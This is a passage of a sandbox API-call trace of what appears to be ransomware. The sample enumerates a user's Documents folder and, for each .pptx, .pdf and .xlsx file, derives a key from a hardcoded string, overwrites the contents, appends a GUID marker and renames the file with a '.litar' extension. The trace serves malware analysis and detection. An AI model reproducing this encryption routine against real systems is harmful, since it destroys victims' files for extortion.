hHeap=0x5c0000) returned 1 [0125.433] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xd670, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xd670, lpOverlapped=0x0) returned 1 [0125.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.433] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd675, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.433] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.433] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.433] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.433] CloseHandle (hObject=0x624) returned 1 [0125.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.434] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.434] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tGcOKsKW8vY3r.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tgcokskw8vy3r.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tGcOKsKW8vY3r.pptx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tgcokskw8vy3r.pptx.litar")) returned 1 [0125.435] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.435] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.436] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.436] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfba486a0, ftCreationTime.dwHighDateTime=0x1d4cb9b, ftLastAccessTime.dwLowDateTime=0xfda3ca90, ftLastAccessTime.dwHighDateTime=0x1d4d255, ftLastWriteTime.dwLowDateTime=0xfda3ca90, ftLastWriteTime.dwHighDateTime=0x1d4d255, nFileSizeHigh=0x0, nFileSizeLow=0xe426, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tgGDARb0KAuLH86cV.pdf", cAlternateFileName="TGGDAR~1.PDF")) returned 1 [0125.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.436] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.436] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tgGDARb0KAuLH86cV.pdf") returned=".pdf" [0125.436] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tgGDARb0KAuLH86cV.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tggdarb0kaulh86cv.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.436] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=58406) returned 1 [0125.436] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.438] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.438] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.439] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.439] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.440] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.440] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xe426, lpOverlapped=0x0) returned 1 [0125.440] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.440] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.440] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.440] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.440] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.441] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.441] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.441] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.441] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.441] GetLastError () returned 0x0 [0125.441] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.441] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe430) returned 0x30fa0b0 [0125.442] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.442] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xe421, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xe421, lpOverlapped=0x0) returned 1 [0125.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.442] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe426, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.442] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.443] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.443] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.443] CloseHandle (hObject=0x624) returned 1 [0125.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.444] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tgGDARb0KAuLH86cV.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tggdarb0kaulh86cv.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tgGDARb0KAuLH86cV.pdf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tggdarb0kaulh86cv.pdf.litar")) returned 1 [0125.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.444] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.445] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x595b3210, ftCreationTime.dwHighDateTime=0x1d4a817, ftLastAccessTime.dwLowDateTime=0xf8d2b790, ftLastAccessTime.dwHighDateTime=0x1d4e2c9, ftLastWriteTime.dwLowDateTime=0xf8d2b790, ftLastWriteTime.dwHighDateTime=0x1d4e2c9, nFileSizeHigh=0x0, nFileSizeLow=0x4ed8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UxVjqI79MHDnp-w7vHYP.xlsx", cAlternateFileName="UXVJQI~1.XLS")) returned 1 [0125.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ffb060 [0125.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.445] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UxVjqI79MHDnp-w7vHYP.xlsx") returned=".xlsx" [0125.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UxVjqI79MHDnp-w7vHYP.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uxvjqi79mhdnp-w7vhyp.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.446] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=20184) returned 1 [0125.446] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.447] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4eb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.447] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.449] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.449] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.449] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x4ed8, lpOverlapped=0x0) returned 1 [0125.449] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.450] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.450] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.450] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.450] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.450] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.450] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.450] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.450] GetLastError () returned 0x0 [0125.451] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.451] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.451] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4ee0) returned 0x30fa0b0 [0125.451] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.451] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x4ed3, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x4ed3, lpOverlapped=0x0) returned 1 [0125.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.451] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4ed8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.451] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.451] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.451] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.451] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.451] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.451] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.452] CloseHandle (hObject=0x624) returned 1 [0125.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2f96f08 [0125.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f96f08 | out: hHeap=0x5c0000) returned 1 [0125.452] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UxVjqI79MHDnp-w7vHYP.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uxvjqi79mhdnp-w7vhyp.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UxVjqI79MHDnp-w7vHYP.xlsx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uxvjqi79mhdnp-w7vhyp.xlsx.litar")) returned 1 [0125.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.453] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.454] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe125dc90, ftCreationTime.dwHighDateTime=0x1d4f5ce, ftLastAccessTime.dwLowDateTime=0x9e23f330, ftLastAccessTime.dwHighDateTime=0x1d4fc01, ftLastWriteTime.dwLowDateTime=0x9e23f330, ftLastWriteTime.dwHighDateTime=0x1d4fc01, nFileSizeHigh=0x0, nFileSizeLow=0xc31c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ys koK.xlsx", cAlternateFileName="YSKOK~1.XLS")) returned 1 [0125.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.454] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ys koK.xlsx") returned=".xlsx" [0125.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ys koK.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ys kok.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.454] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=49948) returned 1 [0125.454] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.456] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc2f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.456] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.457] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.457] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.457] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xc31c, lpOverlapped=0x0) returned 1 [0125.458] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.458] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.458] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.458] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.459] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.459] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.459] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.459] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.459] GetLastError () returned 0x0 [0125.459] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.459] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.459] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc320) returned 0x30fa0b0 [0125.460] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.460] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.460] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xc317, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xc317, lpOverlapped=0x0) returned 1 [0125.460] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.460] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc31c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.460] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.460] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.460] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.460] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.460] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.460] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: 